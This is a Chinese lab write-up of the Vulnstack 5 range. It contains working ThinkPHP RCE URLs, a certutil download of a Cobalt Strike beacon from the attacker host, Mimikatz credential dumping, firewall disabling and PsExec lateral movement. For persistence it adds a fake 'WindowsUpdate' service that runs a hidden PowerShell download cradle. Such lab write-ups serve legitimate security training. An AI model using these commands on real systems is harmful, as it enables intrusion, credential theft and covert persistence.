欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 新闻 > 国际 > 红日靶场vulnstack 5靶机的测试报告

红日靶场vulnstack 5靶机的测试报告

2024/12/31 1:39:46 来源:https://blog.csdn.net/2301_79698171/article/details/144352670  浏览:    关键词:红日靶场vulnstack 5靶机的测试报告

目录

一、测试环境

1、系统环境

2、注意事项

3、使用工具/软件

二、测试目的

三、操作过程

1、信息搜集

2、thinkPHP漏洞利用

3、CS上线web靶机

4、内网信息收集

5、横向移动

6、权限维持

7、痕迹清理

四、结论


一、测试环境

1、系统环境

渗透机:kali2021.1(192.168.200.131)

靶  机:Web-win7 [192.168. 138.136(仅主机的138网段,配置好的固定IP)、192.168.200.146(nat网卡)];win2008(仅主机的138网段,192.168.138.138,配置好的固定IP)。

密码信息(默认密码):

  • Win7:heart/123.com
  • Win7 Administrator默认密码:dc123.com
  • Win7 Administrator修改后的密码:1qaz@WSX
  • Win2008默认密码:admin/2020.com
  • Win2008修改后的密码:1qaz@WSX

2、注意事项

需要登录到win7服务器上,手动开启web服务。打开C:\phpStudy目录,双击运行phpStudy.exe

3、使用工具/软件

Kali: cs服务器(teamserver)、arp-scan(主机探测)、nmap(端口和服务扫描)、dirsearch(目录遍历)

Cobalt Strike4.7版本(狐狸工具箱8.0)、TPscan(thinkPHP漏洞检测工具)、python3(临时web服务)

测试网址:http://192.168.200.146/

二、测试目的

利用thinkPHP漏洞上线CS,使用psexec进行域内横向移动,实现权限维持,并进行痕迹清理。

三、操作过程

1、信息搜集

主机探测

arp-scan -l

web靶机IP:192.168.200.146

端口和服务探测

nmap -sN -A -p- -T4 192.168.200.146

靶机开启了80端口(web服务)、135端口(msrpc服务)、3306端口(mysql服务)

目录扫描

dirsearch -u http://192.168.200.146 -i 200,301 --exclude-sizes=0B

扫描到两个文件:add.php和robots.txt;一个目录static;一个logo文件

只有add.php文件有些作用,是一个页面

2、thinkPHP漏洞利用

web网页主页是thinkPHP页面

使用工具TPscan扫描该网站的thinkPHP漏洞

项目地址:

https://github.com/Lucifer1993/TPscanicon-default.png?t=O83Ahttps://github.com/Lucifer1993/TPscan

ThinkPHP的集成利用工具很多,狐狸工具箱、liqun工具箱都有的

下载好后,在工具目录打开cmd

python TPscan.py

http://192.168.200.146

扫描到两个漏洞:thinkphp_construct_code_exec和thinkphp_invoke_func_code_exec

thinkphp_invoke_func_code_exec漏洞给出了利用漏洞的完整poc

构造可用poc,使用system参数、给反斜杠url编码等,使用这个poc测试RCE漏洞

http://192.168.200.146/index.php/?s=index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

成功执行whoami命令

查看靶机IP信息,执行命令:ipconfig /all

http://192.168.200.146/index.php/?s=index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]= ipconfig%20/all

可以看到设置了双网卡:192.168.200.146(web网卡)、192.168.138.138(内网)

Ping下百度

http://192.168.200.146/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ping%20www.baidu.com

有返回信息,靶机可以出网的

3、CS上线web靶机

CS监听器设置,使用beacon http设置即可

生成监听木马文件,exe的stageless形式

监听器选择刚刚创建的

将文件上传到kali主机,在kali主机开启web服务

python3 -m http.server 8888

利用thinkPHP的漏洞执行命令下载文件

http://192.168.200.146/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]= certutil%20-urlcache%20-split%20-f http://192.168.200.131:8888/beacon.exe

命令执行完成结果

执行dir命令,也看到了beacon.exe文件

http://192.168.200.146/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

执行命令启动beacon.exe

192.168.200.146/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=start%20beacon.exe

Web页面会一直转圈圈,CS已经上线

4、内网信息收集

使用mimikatz抓取密码信息

右键—凭证提权—抓取明文密码

或者命令:logonpasswords

获取了Administrator用户的密码:1qaz@WSX

域名是:sun

进行内网端口扫描

右键—浏览探测—端口扫描

扫描138网段

或者使用命令:portscan 192.168.138.0-192.168.138.255 1-1024,3389,5000-6000 arp 1024

可以看到除了web主机的内网网卡(192.168.138.136),还有一台内网主机(192.168.138.138)

端口开放情况如下:

192.168.138.136:139、135、80、445

192.168.138.138:636、593、389、139、135、88、53、445

Ping一下域控服务器

shell ping sun.com

可以看到138主机就是域控服务器

5、横向移动

由于域控服务器是不出网的,因此需要设置内网代理

CS直接设置转发上线即可

主机管理这,右键—代理转发—转发上线

保存转发监听器设置

查看主机列表

右键DC—横向移动—psexec

监听器选择刚刚设置的内网转发监听器,会话选web靶机的会话

可以看到服务成功在DC主机开启,但是并没有上线成功。

很可能是web靶机的防火墙开着,中断了会话

查看web靶机的防火墙情况

shell netsh firewall show state

可以看到防火墙全部打开着的

关闭防火墙

shell netsh advfirewall set allprofiles state off
shell netsh firewall show state

可以看到防火墙已关闭

现在再次尝试转发上线域控服务器

可以看到,成功上线域控服务器DC

6、权限维持

使用powershell命令进行权限维持,设置自启动

CS创建powershell上线服务器的命令

在工具栏的攻击—web投递(stageless)

设置powershell的参数:url路径可以随便填写,端口要设置未被占用的,监听器设置正常的回连监听器即可

运行完毕会自动生成powershell的执行脚本

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.200.131:9999/a'))"

使用beacon窗口给web靶机写入服务

shell sc create "WindowsUpdate" binpath= "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.200.131:9999/a'))\""

使用sc命令创建服务成功

shell sc config "WindowsUpdate" start= auto

设置服务自启动

shell sc description "WindowsUpdate" "提供Windows安全补丁"

对服务名进行描述,进行伪装

shell net start "WindowsUpdate"

启动服务,但没有正常响应

修改powshell脚本

原本:

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.200.131:9999/a'))

修改后:

cmd /c start powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.200.131:9999/a'))

使用sc config修改服务配置

shell sc config "WindowsUpdate" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.200.131:9999/a'))\""

修改服务配置成功

此时启动服务

shell net start "WindowsUpdate"

可以看到服务没有响应,但是命令成功执行了,获取了SYSTEM的权限

尝试重启web靶机

可以看到,刚关机,之前的shell都失效了

一旦靶机上线就会生成新的会话

可以在靶机查看服务信息

7、痕迹清理

删除木马文件beacon.exe

使用插件进行痕迹清理

四、结论

内网环境中,不出网的靶机需要设置代理转发流量才能上线。ThinkPHP5版本中存在严重的RCE漏洞,危害很大。

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com